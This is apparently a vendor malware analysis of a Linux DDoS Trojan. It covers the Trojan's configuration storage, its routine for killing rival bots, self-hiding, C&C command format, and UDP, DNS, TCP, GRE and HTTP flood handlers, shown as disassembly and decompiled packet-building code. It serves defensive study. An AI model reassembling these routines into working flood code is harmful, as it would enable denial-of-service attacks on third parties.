A Trojan for Linux designed to carry out DDoS attacks. All versions of this malicious program use the uClibc.so library. Before starting the cycle of receiving and executing commands, the Trojan calls the following functions:

.text:0804B378                 push    1000h           ; size
.text:0804B37D                 call    _malloc
.text:0804B382                 mov     edi, eax        ; buffer for command
.text:0804B384                 call    fillConfig
.text:0804B389                 call    init_random
.text:0804B38E                 call    runKiller
.text:0804B393                 call    fillCmdHandlers

fillConfig

This function uses one memory sector to store configuration information. This configuration storing can be described in the C language as follows:

union {
  char *;
  short *;
  int  *;
} conf_data;
 
struct conf_entry {
    uint32    number;
    conf_data data;
    uint32    length
}
 
struct malware_config {
    conf_entry *entries;
    uint32      entries_count;
}

Each configuration field is filled in the following way:

Config.entries = realloc(Config.entries, 12 * Config.length + 12);
v0 = &Config.entries[Config.length];
v0->number = 0;
v1 = malloc(4u);
*v1 = XX;
v1[1] = XX;
v1[2] = XX;
v1[3] = XX;
v0->data = v1;
v2 = Config.entries;
v3 = Config.length + 1;
Config.entries[Config.length].length = 4;
Config.length = v3;

Some strings are stored in an encrypted ELF file and are decrypted before being recorded:

The following functions are then used to get the configuration values:

FunctionPurpose
char *get_data_from_config(int number)returns the data pointer for conf_entry with the number value
uint32 get_conf_uint32(int number)returns unit32 stored under the data pointer for conf_entry with the number value
uint16 get_conf_uint16(int number)returns unit16 stored under the data pointer for conf_entry with the number value
uint8 get_conf_uint8(int number)returns unit8 stored under the data pointer for conf_entry with the number value

init_random

This function initializes the generation of pseudo-random sequences. Linux.BackDoor.Fgt and Linux.BackDoor.Tsunami used such generators; however, their operation was implemented in a different manner.

runKiller

This function launches a child process designed to search running processes for other Trojans and terminate them. You can see a description of a child process’s operation below.

First, the process kills standard stdin, stdout, and stderr threads and retrieves the strings it needs from the configuration:

.text:0804AFAB                 push    STDIN_FILENO    ; fd

.text:0804AFD1                 call    get_data_from_config
.text:0804AFD6                 mov     dword ptr [esp+0], 1Eh

.text:0804B01A                 mov     dword ptr [esp+0], 65h
.text:0804B021                 mov     ds:gayfgt, eax
.text:0804B026                 call    get_data_from_config
.text:0804B02B                 mov     dword ptr [esp+0], 66h
.text:0804B032                 mov     ds:report_fmt, eax
.text:0804B037                 call    get_data_from_config
.text:0804B03C                 mov     dword ptr [esp+0], 67h
.text:0804B043                 mov     ds:hello_friend, eax
.text:0804B048                 call    get_data_from_config
.text:0804B04D                 mov     ebp, ds:proc
.text:0804B053                 mov     ds:KTN, eax

Then the Trojan tries to open the following file objects:

/proc/<PID>/exe
/proc/<PID>/cwd/

If successful, the relevant flag is set. If not, the process terminates itself:

.text:0804B13F                 cmp     ds:couldOpenExe, 0
.text:0804B146                 jz      short loc_804B158

.text:0804B14F                 cmp     ds:couldOpenCWD, 0
.text:0804B156                 jnz     short loc_804B17E
.text:0804B158
.text:0804B158 loc_804B158:                            ; CODE XREF: runKiller+1C6j

.text:0804B15D                 call    ___GI_exit

If the process continues operating, in five minutes it starts searching for other Trojans in order to terminate their operation by reading the content of the /proc/ folder in an infinite loop:

If the folder from which the process was run is found to contain a file named .shinigami, the process is not terminated because it is used to implement some kind self-protection:

If the file named .shinigami is absent from the folder, the process’s executable file is read in order to find strings from a configuration whose numbers are higher than 100. Meanwhile, the Trojan reads file fragments sequentially. The size of each fragment is 0x800 byte. If the value required is at buffer overflow, the process is not terminated.

fillCmdHandlers

A function responsible for filling a structure that stores command handlers. The structure looks as follows:

struct cmd {
    char  number;
    void *handler;
}
 
struct cmd_handlers {
    cmd *handlers;
    char  length;
}

The structure is filled in the following way:

v0 = realloc(handlers.handlers, 8 * handlers.length + 8);
v1 = handlers.length + 1;
handlers.handlers = v0;
v2 = &v0[handlers.length];
v2->number = 0;
v2->func = cmd0_udp_random;
handlers.length = v1;
v3 = realloc(v0, 8 * v1 + 8);
handlers.handlers = v3;
v4 = handlers.length + 1;
v5 = &v3[handlers.length];
v5->number = 1;
v5->func = cmd1_tsource;

As a result, the following command table is generated:

NumberPurpose
15-17The examined sample contains functions that are executed in an infinite loop
14HTTP flood
9Transparent Ethernet Bridging в GRE
8UDP flood overGRE
7Establishing a TCP connection
6sending a TCP packet
4TCP flood—send packets containing random data
3TCP flood—send packets with TCP options
2DNS flood
1TSource flood
0UDP flood

Once all the above functions are performed, the following string is retrieved from the configuration and added to the stdin thread:

.text:0804B398                 mov     dword ptr [esp+0], 2
.text:0804B39F                 call    get_data_from_config ; kami
.text:0804B3A4                 mov     [esp+0], eax    ; a1
.text:0804B3A7                 call    strlen
.text:0804B3AC                 mov     dword ptr [esp+0], 2
.text:0804B3B3                 mov     ebx, eax
.text:0804B3B5                 call    get_data_from_config
.text:0804B3BA                 add     esp, 0Ch
.text:0804B3BD                 push    ebx             ; len
.text:0804B3BE                 push    eax             ; addr
.text:0804B3BF                 push    1               ; fd
.text:0804B3C1                 call    ___libc_write
.text:0804B3C6                 add     esp, 0Ch
.text:0804B3C9                 push    1               ; int
.text:0804B3CB                 push    offset newline  ; int
.text:0804B3D0                 push    1               ; fd
.text:0804B3D2                 call    ___libc_write

Then the Trojan removes its name to hide itself:

.text:0804B3D8                 mov     ebp, [esi]      ; esi = argv[0]
.text:0804B3DA                 push    ebp             ; a1
.text:0804B3DB                 call    strlen
.text:0804B3E0                 add     esp, 10h
.text:0804B3E3                 mov     ecx, eax
.text:0804B3E5                 test    eax, eax
.text:0804B3E7                 jle     short loc_804B3F6
.text:0804B3E9                 xor     edx, edx
.text:0804B3EB
.text:0804B3EB loc_804B3EB:                            ; CODE XREF: main+94j
.text:0804B3EB                 mov     eax, [esi]
.text:0804B3ED                 mov     byte ptr [eax+edx], 0
.text:0804B3F1                 inc     edx
.text:0804B3F2                 cmp     ecx, edx
.text:0804B3F4                 jnz     short loc_804B3EB

The child processes are subsequently launched (the code is simplified and contains no requests to the configuration)

//here is parent
pid_t child = fork();
if(child > 0){
    waitpid(child, &status, 0); //waiting until child die
    exit();
}
if(!child){ //child executing this
    pid_t child2 = fork();
    if(child2 > 0){//we spawn childen - time to die
        exit(); //after this exit() grandpa will die too
    }
}
pid_t child3 = fork();
if(child3>0){
    v28 = __GI___libc_open(".shinigami", O_CREAT, v30);
    if (v28 >= 0)
        close(v28);
    sleep(...) // one week
    kill(child3);
    exit();
}
payload;

The .shinigami file is created in the Trojan’s folder to protect the Trojan from removing itself. The maximum uptime of Linux.DDoS.87 on an infected computer is one week, after which the Trojan terminates its operation.

The cycle for receiving and executing commands

After that, the malicious process tries to connect to the C&C server to get instructions:

.text:0804B4C7                 jmp     short entry_point_of_payload_execution

If recv returns an error, a socket is opened, and its content is recorded to the fd global variable:

.text:0804B553 recv_failed:                            ; CODE XREF: main+159j

During reading/writing, a minute-long time-out is set:

__GI_setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &socket_timeout, 8);
__GI_setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &socket_timeout, 8);

Then a connection to the C&C server is established:

.text:0804B614                 call    ___libc_connect

After that the IP address of the interface in use is saved and a string containing an identifier of an infected device’s architecture (х86, ARM, MIPS, SPARC, SH-4 or M68K) is sent to the C&C server:

Data from the C&C server is saved to the buffer. If more than one command is received during an iteration, they are handled one by one. The format of the received command (for number fields, network byte order is used) is as follows:

FieldPurposeSize
fullLengthfull length of the received command2
sleepTimeTime for execution (every command runs a new process using fork and then kills it)4
cmdcommand number1
hostCountnumber of attacked hosts1
target[hostCount]target array5*hostCount
param_cntnumber of parameters1
param[param_cnt]Parameters...

If the field fullLength equals 0, two zero bytes are sent to the C&C server:

The function receives a pointer to the third byte of the command and its length. Then it starts parsing the command’s arguments and filling the respective structures:

//structures representing data received from the server
struct target{
    uint32_t ip; //ip цели
    uint8_t  maskbits;  // if the specified number is less than 31, the Trojan will attack random hosts obtained from ip by randomly generating lowest bits maskbits 
}
 
struct param{
    uint8_t id;
    uint8_t len;
    uint8_t data[len]; 
}
//structures that are displayed in the Trojan
struct target_parsed {
    uint32      target_ip;
    uint8       maskbits;
    sockaddr_in sockaddr;
}
 
struct param_parsed {

Other handlers act as follows:

void handle(target *t, param *p){
    the Trojan receives packet parameters
    a packet is created for every target
    yet 1 {
        for every target 
            if (maskbits <= 31), a new target IP is selected
            packet is being sent
    }
}

cmd0 - UDP Flood

First, the parameters received are parsed:

v23 = calloc(target_count, 4u);
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
fragmentation = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 0xFFFF);
packetSize = getNumberOrDefault(params_count, params, 0, 512);
needFillRandom = getNumberOrDefault(params_count, params, 1, 1);

The getNumberOrDefault function has the following structure:

int __cdecl getNumberOrDefault(unsigned __int8 length, param2 *param, char id, int default)

It returns the value from the parameter array with the specified id or the value default if the id is not found. Values for the id field:

Idvalue
0It is changed depending on the handler and implies either the length of the whole packet or the length of the data.
1For some types of attacks, it determines whether random data needs to be generated in the packet
2ip_header.TOS
3ip_header.identification
4ip_header.TTL
5ip_header.flags << 13 | ip_header.fragment
6source port
7dest port
8Host in the DNS request
9DNS request parameters
11TCP.urgent_flag
12TCP.ack_flag
13TCP.psh_flag
14TCP.rst_flag
15TCP.syn_flag
16TCP.fin_flag
17TCP.Sequence_number
19Specifies whether ip.dstAddr in the GRE packet is the same as in the external packet.
20Requested page
22The host header value

Then the Trojan creates a “raw” socket and enters the IP header:

.text:0804AB7F                 push    IPPROTO_UDP
.text:0804AB81                 push    SOCK_RAW
.text:0804AB83                 push    AF_INET
.text:0804AB85                 call    ___GI_socket
.text:0804AB8A                 mov     [esp+6Ch+fd], eax
.text:0804AB8E                 add     esp, 10h
.text:0804AB91                 inc     eax
.text:0804AB92                 jz      loc_804AE5E
.text:0804AB98                 mov     [esp+5Ch+var_14], 1
.text:0804ABA0                 sub     esp, 0Ch
.text:0804ABA3                 push    4
.text:0804ABA5                 lea     eax, [esp+6Ch+var_14]
.text:0804ABA9                 push    eax
.text:0804ABAA                 push    IP_HDRINCL
.text:0804ABAC                 push    SOL_IP
.text:0804ABAE                 mov     ebx, [esp+78h+fd]
.text:0804ABB2                 push    ebx
.text:0804ABB3                 call    ___GI_setsockopt

After that, it is generated using the header of a IP/UDP datagram for each objective received:

do {
    target_packet_headers[v4] = calloc(0x5E6u, 1u);     current_ipudp_header = target_packet_headers[counter];
    current_ipudp_header->header.ip.Version = 69;
    current_ipudp_header->header.ip.TOS = TOS;
    v6 = htons(packetSize + 28, 8);
    current_ipudp_header->header.ip.totalLength = v6;
    current_ipudp_header->header.ip.TTL = TTL;
    v7 = htons(ident, 8);
    current_ipudp_header->header.ip.ident = v7;
    if ( fragmentation )
        current_ipudp_header->header.ip.frag_offs = 64;
    current_ipudp_header->header.ip.protocol = IPPROTO_UDP;
    current_ipudp_header->header.ip.src_addr = selfaddr;
    current_ipudp_header->header.ip.dst_addr = targets[counter].target_ip;
    v9 = __ROR2__(sport, 8);
    current_ipudp_header->header.udp.sport = v9;
    v10 = __ROR2__(dport, 8);
    current_ipudp_header->header.udp.dport = v10;
    v11 = __ROR2__(packetSize + 8, 8);
    current_ipudp_header->header.udp.length = v11;
    counter++;
}while ( target_count > counter );

Then packets are sent to specified targets. If maskbits <= 31, a random target is generated. If the parameter values ident, dport, and sport equal 0xffff, these parameters are generated randomly for every packet. If a certain parameter is set, a packet’s body will be generated:

Then the Trojan counts checksums and shifts its attention to the next target. This procedure continues until the process is terminated:

TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 27015); //constant by default
tsource = (char *)get_data_from_config(8);  // get "TSource Engine Query"

cmd2 - DNS flood

This command uses parameters similar to the previous ones; however, in this case, the value transaction_id and the domain name that needs to be requested are added for the DNS packet:

TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 53);
transaction_id_1 = getNumberOrDefault(params_count, params, 9, 0xFFFF);
random_data_length = getNumberOrDefault(params_count, params, 0, 12);
query = getString(params_count, params, 8, 0);

A packet containing 100 domain requests is generated and sent to the specified address. The Recursion desired flag is set:

A name of a requested host is generated by setting a length of a generated prefix in the field 0, to which a string, transmitted in the parameter with id = 8, is added.

cmd3 - TCP flood 2 options

The command is responsible for sending TCP packets to specified targets. It also allows values to be specified for TCP flags using these parameters:

TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 1);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 0xFFFF);
seq = getNumberOrDefault(params_count, params, 17, 0xFFFF);
v32 = getNumberOrDefault(params_count, params, 18, 0);
urgent_flag = getNumberOrDefault(params_count, params, 11, 0);
ack_flag = getNumberOrDefault(params_count, params, 12, 0);
psh_flag = getNumberOrDefault(params_count, params, 13, 0);
rst_flag = getNumberOrDefault(params_count, params, 14, 0);
syn_flag = getNumberOrDefault(params_count, params, 15, 1);
fin_flag = getNumberOrDefault(params_count, params, 16, 0);

Setting flags in the packet:

.text:0804A016                 mov     [esi+tcp_packet.seq], eax
.text:0804A019                 mov     al, byte ptr [esi+tcp_packet.flags]

.text:0804A05A                 mov     byte ptr [esi+(tcp_packet.flags+1)], al

In addition, TCP parameters containing the numbers 2 and 8 are installed in the packet—maximum segment size and timestamp:

.text:0804A05D                 mov     byte ptr [ebx+28h], TCPOPT_MAXSEG
.text:0804A061                 mov     byte ptr [ebx+29h], 4
.text:0804A065                 call    rand_cmwc

.text:0804A07E                 ror     ax, 8
.text:0804A082                 mov     byte ptr [ebx+2Fh], 0Ah
.text:0804A086                 mov     [ebx+2Ah], ax
.text:0804A08A                 call    rand_cmwc
.text:0804A08F                 mov     dword ptr [ebx+34h], 0
.text:0804A096                 mov     [ebx+30h], eax
.text:0804A099                 mov     byte ptr [ebx+38h], 1
.text:0804A09D                 mov     byte ptr [ebx+39h], 3

.text:0804A0A5                 mov     byte ptr [ebx+3Bh], 6

Once generated, the packet is sent without any information.

cmd4 – TCP flood random

This command operates like the previous one; however, the TCP parameters are not set in the packet. If the corresponding flag is set, random data is written to the packet.

cmd6 - TCP flood 1 option

The command is similar to cmd3; however, only one parameter is set:

.text:08049656                 mov     byte ptr [esi+iptcp_6.data], TCPOPT_NOP
.text:0804965A                 mov     byte ptr [esi+(iptcp_6.data+1)], TCPOPT_NOP
.text:0804965E                 mov     byte ptr [esi+2Ah], TCPOPT_TIMESTAMP
.text:08049662                 mov     byte ptr [esi+2Bh], 0Ah
.text:08049666                 lea     ebx, [esi+2Ch]
.text:08049669                 call    rand_cmwc
.text:0804966E                 mov     [esi+2Ch], eax
.text:08049671                 call    rand_cmwc
.text:08049676                 mov     [ebx+4], eax

cmd7 - TCP flood simple

In contrast to the previous methods, when this command is executed, only the port and the size of the transmitted data are defined. To carry out an attack, sockets are used to establish a TCP connection:

port = getNumberOrDefault(params_count, params, 7, 80);
size = getNumberOrDefault(params_count, params, 0, 1024);
useRandom = getNumberOrDefault(params_count, params, 1, 1);

cmd8 UDP flood over GRE

The command sends UDP packets over the GRE protocol and uses the following parameters:

TOS = getNumberOrDefault(params_count, param, 2, 0);
ident = getNumberOrDefault(params_count, param, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, param, 4, 64);
frag = getNumberOrDefault(params_count, param, 5, 1);
sport = getNumberOrDefault(params_count, param, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, param, 7, 0xFFFF);
payloadLength = getNumberOrDefault(params_count, param, 0, 512);
fillRandom = getNumberOrDefault(params_count, param, 1, 1);
useSameAddr = getNumberOrDefault(params_count, param, 19, 0); //inner ip.dstAddr == outer ip.dstAddr

The GRE packet is generated as follows:

cmd10 GRE Packet using Transparent Ethernet Bridging

Like the previous command, this command sends encapsulated GRE packets; however, TEB (Transparent Ethernet Bridging) is used: the packet contains a full-featured Ethernet frame. The sender’s and the receiver's MAC addresses are randomly generated in the internal frame:

.text:08048A3A                 mov     [ebx+ipgre_9.outer_iphdr._ip.protocol], IPPROTO_GRE
.text:08048A3E                 mov     [ecx+gre_packet.protocolType], 5865h ; GRE_NET_TEB
.text:08048A44                 mov     eax, ds:selfaddr

.text:08048A58                 mov     [ecx+ether_packet.type], 8 ; IP

cmd14 HTTP Flood

During one iteration, the command sends 10 HTTP requests that look as follows:

GET <param(20)> HTTP/1.1
Host: <param(22)>
Connection: keep-alive
User-Agent: <randomly selected from those specified in the configuration>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
